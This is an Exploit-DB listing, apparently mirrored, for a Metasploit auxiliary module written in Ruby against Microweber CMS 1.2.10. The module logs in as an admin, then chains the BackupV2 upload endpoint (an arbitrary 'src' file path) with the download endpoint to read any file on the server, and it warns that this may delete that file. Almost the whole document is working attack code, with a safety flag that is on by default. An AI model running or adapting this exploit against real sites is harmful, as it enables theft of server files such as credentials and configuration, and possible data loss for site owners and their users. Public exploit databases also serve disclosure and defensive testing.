Microweber CMS 1.2.10 – Local File Inclusion (Authenticated) (Metasploit)

  • 作者: Talha Karakumru
    日期: 2022-02-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50786/
  • # Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)
    # Date: 22.02.2022
    # Exploit Author: Talha Karakumru <talhakarakumru[at]gmail.com>
    # Vendor Homepage: https://microweber.org/
    # Software Link: https://github.com/microweber/microweber/archive/refs/tags/v1.2.10.zip
    # Version: Microweber CMS v1.2.10
    # Tested on: Microweber CMS v1.2.10
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
    prepend Msf::Exploit::Remote::AutoCheck
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)',
    'Description' => %q{
    Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.
    Upload function may delete the local file if the web service user has access.
    },
    'License' => MSF_LICENSE,
    'Author' => [
    'Talha Karakumru <talhakarakumru[at]gmail.com>'
    ],
    'References' => [
    ['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/']
    ],
    'Notes' => {
    'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
    'Reliability' => [ REPEATABLE_SESSION ],
    'Stability' => [ OS_RESOURCE_LOSS ]
    },
    'Targets' => [
    [ 'Microweber v1.2.10', {} ]
    ],
    'Privileged' => true,
    'DisclosureDate' => '2022-01-30'
    )
    )
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']),
    OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']),
    OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']),
    OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']),
    OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true])
    ]
    )
    end
    
    def check
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'admin', 'login')
    })
    
    if res.nil?
    fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
    end
    
    print_status 'Checking if it\'s Microweber CMS.'
    
    if res.code == 200 && !res.body.include?('Microweber')
    print_error 'Microweber CMS has not been detected.'
    Exploit::CheckCode::Safe
    end
    
    if res.code != 200
    fail_with(Failure::Unknown, res.body)
    end
    
    print_good 'Microweber CMS has been detected.'
    
    return check_version(res.body)
    end
    
    def check_version(res_body)
    print_status 'Checking Microweber\'s version.'
    
    begin
    major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.')
    version = Rex::Version.new("#{major}.#{minor}.#{build}")
    rescue NoMethodError, TypeError
    return Exploit::CheckCode::Safe
    end
    
    if version == Rex::Version.new('1.2.10')
    print_good 'Microweber version ' + version.to_s
    return Exploit::CheckCode::Appears
    end
    
    print_error 'Microweber version ' + version.to_s
    
    if version < Rex::Version.new('1.2.10')
    print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
    return Exploit::CheckCode::Unknown
    end
    
    return Exploit::CheckCode::Safe
    end
    
    def try_login
    print_status 'Trying to log in.'
    res = send_request_cgi({
    'method' => 'POST',
    'keep_cookies' => true,
    'uri' => normalize_uri(target_uri.path, 'api', 'user_login'),
    'vars_post' => {
    'username' => datastore['USERNAME'],
    'password' => datastore['PASSWORD'],
    'lang' => '',
    'where_to' => 'admin_content'
    }
    })
    
    if res.nil?
    fail_with(Failure::Unreachable, 'Log in request failed.')
    end
    
    if res.code != 200
    fail_with(Failure::Unknown, res.body)
    end
    
    json_res = res.get_json_document
    
    if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
    fail_with(Failure::BadConfig, 'Wrong username or password.')
    end
    
    if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
    print_good 'You are logged in.'
    return
    end
    
    fail_with(Failure::Unknown, 'An unknown error occurred.')
    end
    
    def try_upload
    print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'
    
    referer = ''
    if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
    referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
    else
    referer = full_uri
    end
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),
    'vars_get' => {
    'src' => datastore['LOCAL_FILE_PATH']
    },
    'headers' => {
    'Referer' => referer
    }
    })
    
    if res.nil?
    fail_with(Failure::Unreachable, 'Upload request failed.')
    end
    
    if res.code != 200
    fail_with(Failure::Unknown, res.body)
    end
    
    if res.headers['Content-Type'] == 'application/json'
    json_res = res.get_json_document
    
    if json_res['success']
    print_good json_res['success']
    return
    end
    
    fail_with(Failure::Unknown, res.body)
    end
    
    fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')
    end
    
    def try_download
    filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]
    print_status 'Downloading ' + filename + ' from the backup folder.'
    
    referer = ''
    if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
    referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
    else
    referer = full_uri
    end
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'),
    'vars_get' => {
    'filename' => filename
    },
    'headers' => {
    'Referer' => referer
    }
    })
    
    if res.nil?
    fail_with(Failure::Unreachable, 'Download request failed.')
    end
    
    if res.code != 200
    fail_with(Failure::Unknown, res.body)
    end
    
    if res.headers['Content-Type'] == 'application/json'
    json_res = res.get_json_document
    
    if json_res['error']
    fail_with(Failure::Unknown, json_res['error'])
    return
    end
    end
    
    print_status res.body
    end
    
    def run
    if datastore['DEFANGED_MODE']
    warning = <<~EOF
    Triggering this vulnerability may delete the local file if the web service user has the permission.
    If you want to continue, disable the DEFANGED_MODE.
    => set DEFANGED_MODE false
    EOF
    
    fail_with(Failure::BadConfig, warning)
    end
    
    try_login
    try_upload
    try_download
    end
    end